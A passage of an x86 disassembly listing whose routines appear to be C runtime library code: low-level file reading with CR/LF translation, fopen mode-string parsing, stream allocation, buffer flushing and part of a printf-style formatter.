		and	dword ptr [esi+4], 0


loc_41F117:				; CODE XREF: sub_41F043+Aj
					; sub_41F043+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F11C	proc near		; CODE XREF: sub_41B11A+90p
					; sub_41F043+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DC6C0
		jnb	loc_41F2F9
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DC5C0h[eax*4]
		mov	eax, dword_4DC5C0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41F2F9
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F1D1
		test	dl, 2
		jnz	short loc_41F1D1
		test	dl, 48h
		jz	short loc_41F191
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41F191
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41F191:				; CODE XREF: sub_41F11C+56j
					; sub_41F11C+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jnz	short loc_41F1E4
		nop
		call	near ptr 2660D84h
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F1CC
		mov	dword_4DB278, 9
		mov	dword_4DB27C, ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1CC:				; CODE XREF: sub_41F11C+99j
		cmp	eax, 6Dh
		jnz	short loc_41F1D8


loc_41F1D1:				; CODE XREF: sub_41F11C+4Cj
					; sub_41F11C+51j
		xor	eax, eax
		jmp	loc_41F30D
; ---------------------------------------------------------------------------


loc_41F1D8:				; CODE XREF: sub_41F11C+B3j
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1E4:				; CODE XREF: sub_41F11C+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F2F4
		test	edx, edx
		jz	short loc_41F209
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F209
		or	al, 4
		jmp	short loc_41F20B
; ---------------------------------------------------------------------------


loc_41F209:				; CODE XREF: sub_41F11C+E2j
					; sub_41F11C+E7j
		and	al, 0FBh


loc_41F20B:				; CODE XREF: sub_41F11C+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F2EE


loc_41F223:				; CODE XREF: sub_41F11C+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F2DE
		cmp	al, 0Dh
		jz	short loc_41F23F
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F23F:				; CODE XREF: sub_41F11C+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F25D
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F254
		add	[ebp+arg_8], 2
		jmp	short loc_41F2B2
; ---------------------------------------------------------------------------


loc_41F254:				; CODE XREF: sub_41F11C+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F25D:				; CODE XREF: sub_41F11C+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jnz	short loc_41F285
		call	near ptr 2660D84h
		nop
		test	eax, eax
		jnz	short loc_41F2CC


loc_41F285:				; CODE XREF: sub_41F11C+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F2CC
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F2A7
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F2B2
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F2A7:				; CODE XREF: sub_41F11C+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F2B7
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F2B7


loc_41F2B2:				; CODE XREF: sub_41F11C+136j
					; sub_41F11C+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F2CF
; ---------------------------------------------------------------------------


loc_41F2B7:				; CODE XREF: sub_41F11C+18Ej
					; sub_41F11C+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_42272B
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F2D0


loc_41F2CC:				; CODE XREF: sub_41F11C+167j
					; sub_41F11C+16Dj
		mov	byte ptr [edi],	0Dh


loc_41F2CF:				; CODE XREF: sub_41F11C+199j
		inc	edi


loc_41F2D0:				; CODE XREF: sub_41F11C+11Ej
					; sub_41F11C+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F223
		jmp	short loc_41F2EE
; ---------------------------------------------------------------------------


loc_41F2DE:				; CODE XREF: sub_41F11C+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F2EE
		or	al, 2
		mov	[esi], al


loc_41F2EE:				; CODE XREF: sub_41F11C+101j
					; sub_41F11C+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41F2F4:				; CODE XREF: sub_41F11C+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F30D
; ---------------------------------------------------------------------------


loc_41F2F9:				; CODE XREF: sub_41F11C+12j
					; sub_41F11C+39j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9


loc_41F30A:				; CODE XREF: sub_41F11C+ABj
					; sub_41F11C+C3j
		or	eax, 0FFFFFFFFh


loc_41F30D:				; CODE XREF: sub_41F11C+B7j
					; sub_41F11C+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F11C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F312	proc near		; CODE XREF: sub_41B202+126p
					; sub_41B202+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DB2F8
		test	eax, eax
		jz	short loc_41F32A
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41F32A
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41F32A:				; CODE XREF: sub_41F312+7j
					; sub_41F312+12j
		xor	eax, eax
		retn
sub_41F312	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F32D	proc near		; CODE XREF: sub_41B4A2+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DB464
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41F366
		cmp	al, 72h
		jz	short loc_41F35F
		cmp	al, 77h
		jnz	loc_41F47A
		mov	ecx, 301h
		jmp	short loc_41F36B
; ---------------------------------------------------------------------------


loc_41F35F:				; CODE XREF: sub_41F32D+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41F36E
; ---------------------------------------------------------------------------


loc_41F366:				; CODE XREF: sub_41F32D+1Dj
		mov	ecx, 109h


loc_41F36B:				; CODE XREF: sub_41F32D+30j
		or	esi, 2


loc_41F36E:				; CODE XREF: sub_41F32D+37j
		push	1
		pop	edx


loc_41F371:				; CODE XREF: sub_41F32D+8Bj
					; sub_41F32D+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41F460
		cmp	edx, ebx
		jz	loc_41F460
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41F3FF
		jz	short loc_41F3EF
		sub	eax, 2Bh
		jz	short loc_41F3D9
		sub	eax, 19h
		jz	short loc_41F3CF
		sub	eax, 0Eh
		jz	short loc_41F3BA
		dec	eax
		jnz	loc_41F451
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3BA:				; CODE XREF: sub_41F32D+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3CF:				; CODE XREF: sub_41F32D+6Aj
		test	cl, 40h
		jnz	short loc_41F451
		or	ecx, 40h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3D9:				; CODE XREF: sub_41F32D+65j
		test	cl, 2
		jnz	short loc_41F451
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3EF:				; CODE XREF: sub_41F32D+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41F451
		or	ecx, eax
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F3FF:				; CODE XREF: sub_41F32D+5Ej
		sub	eax, 62h
		jz	short loc_41F44C
		dec	eax
		jz	short loc_41F435
		sub	eax, 0Bh
		jz	short loc_41F41E
		sub	eax, 6
		jnz	short loc_41F451
		test	ch, 0C0h
		jnz	short loc_41F451
		or	ch, 40h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F41E:				; CODE XREF: sub_41F32D+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F435:				; CODE XREF: sub_41F32D+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F44C:				; CODE XREF: sub_41F32D+D5j
		test	ch, 0C0h
		jz	short loc_41F458


loc_41F451:				; CODE XREF: sub_41F32D+72j
					; sub_41F32D+7Bj ...
		xor	edx, edx
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F458:				; CODE XREF: sub_41F32D+122j
		or	ch, 80h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F460:				; CODE XREF: sub_41F32D+4Aj
					; sub_41F32D+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_423A33
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41F47E


loc_41F47A:				; CODE XREF: sub_41F32D+25j
		xor	eax, eax
		jmp	short loc_41F498
; ---------------------------------------------------------------------------


loc_41F47E:				; CODE XREF: sub_41F32D+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DB460
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41F498:				; CODE XREF: sub_41F32D+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F32D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F49D	proc near		; CODE XREF: sub_41B4A2p
		mov	edx, dword_4DC5A0
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41F50E
		mov	ebx, dword_4DB598
		mov	edi, ebx


loc_41F4B9:				; CODE XREF: sub_41F49D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41F4D4
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41F4CF
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41F4B9
		jmp	short loc_41F50E
; ---------------------------------------------------------------------------


loc_41F4CF:				; CODE XREF: sub_41F49D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41F4F8
; ---------------------------------------------------------------------------


loc_41F4D4:				; CODE XREF: sub_41F49D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41B4D5
		pop	ecx
		mov	ecx, dword_4DB598
		mov	[edi+ecx], eax
		mov	eax, dword_4DB598
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41F50E
		mov	esi, edi


loc_41F4F8:				; CODE XREF: sub_41F49D+35j
		cmp	esi, ebp
		jz	short loc_41F50E
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41F50E:				; CODE XREF: sub_41F49D+12j
					; sub_41F49D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F49D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F515	proc near		; CODE XREF: sub_41B6EE+17p
					; sub_41B6EE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41F533
		mov	ecx, off_43C2F8
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41F585
; ---------------------------------------------------------------------------


loc_41F533:				; CODE XREF: sub_41F515+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43C2F8
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41F558
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41F561
; ---------------------------------------------------------------------------


loc_41F558:				; CODE XREF: sub_41F515+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41F561:				; CODE XREF: sub_41F515+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_423CEC
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F581
		leave
		retn
; ---------------------------------------------------------------------------


loc_41F581:				; CODE XREF: sub_41F515+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41F585:				; CODE XREF: sub_41F515+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41F515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F58A	proc near		; CODE XREF: sub_41B886+46p
					; sub_41B980+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41F693
		test	al, 40h
		jnz	loc_41F693
		test	al, 1
		jz	short loc_41F5C2
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41F693
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41F5C2:				; CODE XREF: sub_41F58A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F5FC
		cmp	esi, offset dword_43CA08
		jz	short loc_41F5EA
		cmp	esi, offset dword_43CA28
		jnz	short loc_41F5F5


loc_41F5EA:				; CODE XREF: sub_41F58A+56j
		push	ebx
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jnz	short loc_41F5FC


loc_41F5F5:				; CODE XREF: sub_41F58A+5Ej
		push	esi
		call	sub_4239EF
		pop	ecx


loc_41F5FC:				; CODE XREF: sub_41F58A+4Ej
					; sub_41F58A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F669
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F62C
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41F65F
; ---------------------------------------------------------------------------


loc_41F62C:				; CODE XREF: sub_41F58A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F647
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41F64C
; ---------------------------------------------------------------------------


loc_41F647:				; CODE XREF: sub_41F58A+A5j
		mov	eax, offset dword_43C950


loc_41F64C:				; CODE XREF: sub_41F58A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F65F
		push	2
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch


loc_41F65F:				; CODE XREF: sub_41F58A+A0j
					; sub_41F58A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F67D
; ---------------------------------------------------------------------------


loc_41F669:				; CODE XREF: sub_41F58A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41F67D:				; CODE XREF: sub_41F58A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F689
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F698
; ---------------------------------------------------------------------------


loc_41F689:				; CODE XREF: sub_41F58A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F69B
; ---------------------------------------------------------------------------


loc_41F693:				; CODE XREF: sub_41F58A+10j
					; sub_41F58A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41F698:				; CODE XREF: sub_41F58A+FDj
		or	eax, 0FFFFFFFFh


loc_41F69B:				; CODE XREF: sub_41F58A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F58A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F69F	proc near		; CODE XREF: sub_41B886+29p
					; sub_41B980+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41FDB8
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41F6D3
; ---------------------------------------------------------------------------


loc_41F6CB:				; CODE XREF: sub_41F69F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41F6D3:				; CODE XREF: sub_41F69F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41FDB8
		cmp	bl, 20h
		jl	short loc_41F6F4
		cmp	bl, 78h
		jg	short loc_41F6F4
		movsx	eax, bl
		mov	al, [eax+42773Ch]
		and	eax, 0Fh
		jmp	short loc_41F6F6
; ---------------------------------------------------------------------------


loc_41F6F4:				; CODE XREF: sub_41F69F+40j
					; sub_41F69F+45j
		xor	eax, eax


loc_41F6F6:				; CODE XREF: sub_41F69F+53j
		movsx	eax, byte_42775C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41FDA7	; default
		jmp	off_41FDC0[eax*4] ; switch jump


loc_41F714:				; DATA XREF: ___:off_41FDC0o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F72F:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 2
		sub	eax, 20h
		jz	short loc_41F772
		sub	eax, 3
		jz	short loc_41F769
		sub	eax, 8
		jz	short loc_41F760
		dec	eax
		dec	eax
		jz	short loc_41F757
		sub	eax, 3
		jnz	loc_41FDA7	; default
		or	[ebp+var_4], 8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F757:				; CODE XREF: sub_41F69F+A4j
		or	[ebp+var_4], 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F760:				; CODE XREF: sub_41F69F+A0j
		or	[ebp+var_4], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F769:				; CODE XREF: sub_41F69F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F772:				; CODE XREF: sub_41F69F+96j
		or	[ebp+var_4], 2
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F77B:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 3
		jnz	short loc_41F7A3
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_4], 4
		neg	eax


loc_41F79B:				; CODE XREF: sub_41F69F+111j
		mov	[ebp+var_20], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7A3:				; CODE XREF: sub_41F69F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41F79B
; ---------------------------------------------------------------------------


loc_41F7B2:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	[ebp+var_10], edx ; jumptable 0041F70D case 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7BA:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 5
		jnz	short loc_41F7DD
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7DD:				; CODE XREF: sub_41F69F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7EF:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 49h		; jumptable 0041F70D case 6
		jz	short loc_41F822
		cmp	bl, 68h
		jz	short loc_41F819
		cmp	bl, 6Ch
		jz	short loc_41F810
		cmp	bl, 77h
		jnz	loc_41FDA7	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F810:				; CODE XREF: sub_41F69F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F819:				; CODE XREF: sub_41F69F+158j
		or	[ebp+var_4], 20h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F822:				; CODE XREF: sub_41F69F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41F83B
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41F83B
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F83B:				; CODE XREF: sub_41F69F+186j
					; sub_41F69F+18Cj
		mov	[ebp+var_30], edx


loc_41F83E:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	ecx, off_43C2F8	; jumptable 0041F70D case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41F86A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41F86A:				; CODE XREF: sub_41F69F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F882:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 7
		cmp	eax, 67h
		jg	loc_41FAAA
		cmp	eax, 65h
		jge	loc_41F92D
		cmp	eax, 58h
		jg	loc_41F98B
		jz	loc_41FB1E
		sub	eax, 43h
		jz	loc_41F94E
		dec	eax
		dec	eax
		jz	short loc_41F923
		dec	eax
		dec	eax
		jz	short loc_41F923
		sub	eax, 0Ch
		jnz	loc_41FCA9
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F8CC
		or	byte ptr [ebp+var_4+1],	8


loc_41F8CC:				; CODE XREF: sub_41F69F+227j
					; sub_41F69F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F8D9
		mov	esi, 7FFFFFFFh


loc_41F8D9:				; CODE XREF: sub_41F69F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41FAF2
		test	ecx, ecx
		jnz	short loc_41F901
		mov	ecx, off_43C514
		mov	[ebp+var_8], ecx


loc_41F901:				; CODE XREF: sub_41F69F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41F90A:				; CODE XREF: sub_41F69F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41FAE9
		cmp	word ptr [eax],	0
		jz	loc_41FAE9
		inc	eax
		inc	eax
		jmp	short loc_41F90A
; ---------------------------------------------------------------------------


loc_41F923:				; CODE XREF: sub_41F69F+212j
					; sub_41F69F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41F92D:				; CODE XREF: sub_41F69F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41FA11
		mov	[ebp+var_10], 6
		jmp	loc_41FA1F
; ---------------------------------------------------------------------------


loc_41F94E:				; CODE XREF: sub_41F69F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F95A
		or	byte ptr [ebp+var_4+1],	8


loc_41F95A:				; CODE XREF: sub_41F69F+2B5j
					; sub_41F69F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41F9A1
